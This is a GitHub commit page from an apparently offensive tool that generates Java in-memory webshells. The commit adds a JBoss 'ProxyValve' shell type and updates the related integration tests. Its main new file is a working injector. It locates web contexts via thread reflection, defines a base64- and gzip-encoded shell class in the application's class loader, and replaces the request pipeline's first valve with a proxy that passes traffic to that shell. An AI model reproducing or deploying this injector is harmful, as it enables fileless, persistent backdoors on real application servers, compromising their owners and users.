Skip to content

Commit 27621a2

Browse files
committed
feat: support JBossAS ProxyValve shell
1 parent 76001f6 commit 27621a2

File tree

10 files changed

+439
-10
lines changed

10 files changed

+439
-10
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/Server.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -29,8 +29,8 @@ public enum Server {
2929
/**
3030
* JBoss AS 中间件,JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
3131
*/
32-
JBossAS(new TomcatShell()),
33-
JBossEAP6(new TomcatShell()),
32+
JBossAS(new JbossShell()),
33+
JBossEAP6(new JbossShell()),
3434
/**
3535
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
3636
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
package com.reajason.javaweb.memshell.server;
2+
3+
import com.reajason.javaweb.memshell.injector.jboss.JbossProxyValveInjector;
4+
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
5+
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
6+
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
7+
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
8+
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
9+
10+
import static com.reajason.javaweb.memshell.ShellType.*;
11+
12+
/**
13+
* @author ReaJason
14+
* @since 2024/12/10
15+
*/
16+
public class JbossShell extends AbstractShell {
17+
18+
@Override
19+
public Class<?> getListenerInterceptor() {
20+
return TomcatShell.ListenerInterceptor.class;
21+
}
22+
23+
@Override
24+
public InjectorMapping getShellInjectorMapping() {
25+
return InjectorMapping.builder()
26+
.addInjector(LISTENER, TomcatListenerInjector.class)
27+
.addInjector(FILTER, TomcatFilterInjector.class)
28+
.addInjector(VALVE, JbossValveInjector.class)
29+
.addInjector(PROXY_VALVE, JbossProxyValveInjector.class)
30+
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
31+
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
32+
.build();
33+
}
34+
}

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -53,7 +53,9 @@ public class Jboss423ContainerTest {
5353
static Stream<Arguments> casesProvider() {
5454
Server server = Server.JBossAS;
5555
List<String> supportedShellTypes = List.of(
56-
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
56+
ShellType.FILTER, ShellType.LISTENER,
57+
ShellType.VALVE,
58+
ShellType.PROXY_VALVE,
5759
ShellType.AGENT_FILTER_CHAIN,
5860
ShellType.CATALINA_AGENT_CONTEXT_VALVE
5961
);

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -52,7 +52,9 @@ public class Jboss510ContainerTest {
5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.JBossAS;
5454
List<String> supportedShellTypes = List.of(
55-
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
55+
ShellType.FILTER, ShellType.LISTENER,
56+
ShellType.VALVE,
57+
ShellType.PROXY_VALVE,
5658
ShellType.AGENT_FILTER_CHAIN,
5759
ShellType.CATALINA_AGENT_CONTEXT_VALVE
5860
);

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -52,7 +52,9 @@ public class Jboss610ContainerTest {
5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.JBossAS;
5454
List<String> supportedShellTypes = List.of(
55-
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
55+
ShellType.FILTER, ShellType.LISTENER,
56+
ShellType.VALVE,
57+
ShellType.PROXY_VALVE,
5658
ShellType.AGENT_FILTER_CHAIN,
5759
ShellType.CATALINA_AGENT_CONTEXT_VALVE
5860
);

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -55,7 +55,9 @@ public class Jboss711ContainerTest {
5555
static Stream<Arguments> casesProvider() {
5656
Server server = Server.JBossAS;
5757
List<String> supportedShellTypes = List.of(
58-
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
58+
ShellType.FILTER, ShellType.LISTENER,
59+
ShellType.VALVE,
60+
ShellType.PROXY_VALVE,
5961
ShellType.AGENT_FILTER_CHAIN,
6062
ShellType.CATALINA_AGENT_CONTEXT_VALVE
6163
);

integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,9 @@ public class JbossEap6ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.JBossEAP6;
54-
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
54+
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER,
55+
ShellType.VALVE,
56+
ShellType.PROXY_VALVE,
5557
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
5658
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
5759
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
Lines changed: 208 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,208 @@
1+
package com.reajason.javaweb.memshell.injector.jboss;
2+
3+
import java.io.ByteArrayInputStream;
4+
import java.io.ByteArrayOutputStream;
5+
import java.io.IOException;
6+
import java.lang.reflect.Field;
7+
import java.lang.reflect.InvocationHandler;
8+
import java.lang.reflect.Method;
9+
import java.lang.reflect.Proxy;
10+
import java.util.*;
11+
import java.util.zip.GZIPInputStream;
12+
13+
/**
14+
* @author ReaJason
15+
*/
16+
public class JbossProxyValveInjector implements InvocationHandler {
17+
18+
private Object rawValve;
19+
private Object proxyValve;
20+
21+
static {
22+
new JbossProxyValveInjector();
23+
}
24+
25+
public JbossProxyValveInjector() {
26+
try {
27+
List<Object> contexts = getContext();
28+
for (Object context : contexts) {
29+
Object valve = getShell(context);
30+
inject(context, valve);
31+
}
32+
} catch (Exception e) {
33+
e.printStackTrace();
34+
}
35+
}
36+
37+
public JbossProxyValveInjector(Object rawValve, Object proxyValve) {
38+
this.rawValve = rawValve;
39+
this.proxyValve = proxyValve;
40+
}
41+
42+
public String getClassName() {
43+
return "{{className}}";
44+
}
45+
46+
public String getBase64String() {
47+
return "{{base64Str}}";
48+
}
49+
50+
@Override
51+
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
52+
if ("invoke".equals(method.getName())) {
53+
try {
54+
Object request = args[0];
55+
Object response = args[1];
56+
if (proxyValve.equals(new Object[]{request, response})) {
57+
return null;
58+
}
59+
} catch (Throwable e) {
60+
e.printStackTrace();
61+
return method.invoke(rawValve, args);
62+
}
63+
}
64+
return method.invoke(rawValve, args);
65+
}
66+
67+
public List<Object> getContext() throws Exception {
68+
List<Object> contexts = new ArrayList<Object>();
69+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
70+
for (Thread thread : threads) {
71+
if (thread.getName().contains("ContainerBackgroundProcessor")) {
72+
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
73+
for (Object value : childrenMap.values()) {
74+
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
75+
contexts.addAll(children.values());
76+
}
77+
}
78+
}
79+
return contexts;
80+
}
81+
82+
private ClassLoader getWebAppClassLoader(Object context) {
83+
try {
84+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
85+
} catch (Exception e) {
86+
Object loader = invokeMethod(context, "getLoader", null, null);
87+
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
88+
}
89+
}
90+
91+
@SuppressWarnings("all")
92+
private Object getShell(Object context) throws Exception {
93+
ClassLoader classLoader = getWebAppClassLoader(context);
94+
try {
95+
return classLoader.loadClass(getClassName()).newInstance();
96+
} catch (Exception e) {
97+
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
98+
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
99+
defineClass.setAccessible(true);
100+
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
101+
return clazz.newInstance();
102+
}
103+
}
104+
105+
@SuppressWarnings("all")
106+
public void inject(Object context, Object valve) throws Exception {
107+
Object pipeline = invokeMethod(context, "getPipeline", null, null);
108+
ClassLoader contextClassLoader = context.getClass().getClassLoader();
109+
Class valveClass = contextClassLoader.loadClass("org.apache.catalina.Valve");
110+
Object rawValve = null;
111+
String fieldName = "first";
112+
try {
113+
rawValve = getFieldValue(pipeline, fieldName);
114+
} catch (NoSuchFieldException e) {
115+
fieldName = "basic";
116+
rawValve = getFieldValue(pipeline, fieldName);
117+
}
118+
Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new JbossProxyValveInjector(rawValve, valve));
119+
setFieldValue(pipeline, fieldName, proxyValve);
120+
System.out.println("proxyValve inject successful");
121+
}
122+
123+
@SuppressWarnings("all")
124+
public static byte[] decodeBase64(String base64Str) throws Exception {
125+
Class<?> decoderClass;
126+
try {
127+
decoderClass = Class.forName("java.util.Base64");
128+
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
129+
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
130+
} catch (Exception ignored) {
131+
decoderClass = Class.forName("sun.misc.BASE64Decoder");
132+
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
133+
}
134+
}
135+
136+
@SuppressWarnings("all")
137+
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
138+
ByteArrayOutputStream out = new ByteArrayOutputStream();
139+
GZIPInputStream gzipInputStream = null;
140+
try {
141+
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
142+
byte[] buffer = new byte[4096];
143+
int n;
144+
while ((n = gzipInputStream.read(buffer)) > 0) {
145+
out.write(buffer, 0, n);
146+
}
147+
return out.toByteArray();
148+
} finally {
149+
if (gzipInputStream != null) {
150+
gzipInputStream.close();
151+
}
152+
out.close();
153+
}
154+
}
155+
156+
public static Field getField(Object obj, String name) throws NoSuchFieldException {
157+
for (Class<?> clazz = obj.getClass();
158+
clazz != Object.class;
159+
clazz = clazz.getSuperclass()) {
160+
try {
161+
Field field = clazz.getDeclaredField(name);
162+
field.setAccessible(true);
163+
return field;
164+
} catch (NoSuchFieldException ignored) {
165+
166+
}
167+
}
168+
throw new NoSuchFieldException(name);
169+
}
170+
171+
@SuppressWarnings("all")
172+
public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
173+
Field field = getField(obj, name);
174+
field.set(obj, value);
175+
}
176+
177+
@SuppressWarnings("all")
178+
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
179+
Field field = getField(obj, name);
180+
return field.get(obj);
181+
}
182+
183+
@SuppressWarnings("all")
184+
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
185+
try {
186+
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
187+
Method method = null;
188+
while (clazz != null && method == null) {
189+
try {
190+
if (paramClazz == null) {
191+
method = clazz.getDeclaredMethod(methodName);
192+
} else {
193+
method = clazz.getDeclaredMethod(methodName, paramClazz);
194+
}
195+
} catch (NoSuchMethodException e) {
196+
clazz = clazz.getSuperclass();
197+
}
198+
}
199+
if (method == null) {
200+
throw new NoSuchMethodException("Method not found: " + methodName);
201+
}
202+
method.setAccessible(true);
203+
return method.invoke(obj instanceof Class ? null : obj, param);
204+
} catch (Exception e) {
205+
throw new RuntimeException("Error invoking method: " + methodName, e);
206+
}
207+
}
208+
}

0 commit comments

Comments
 (0)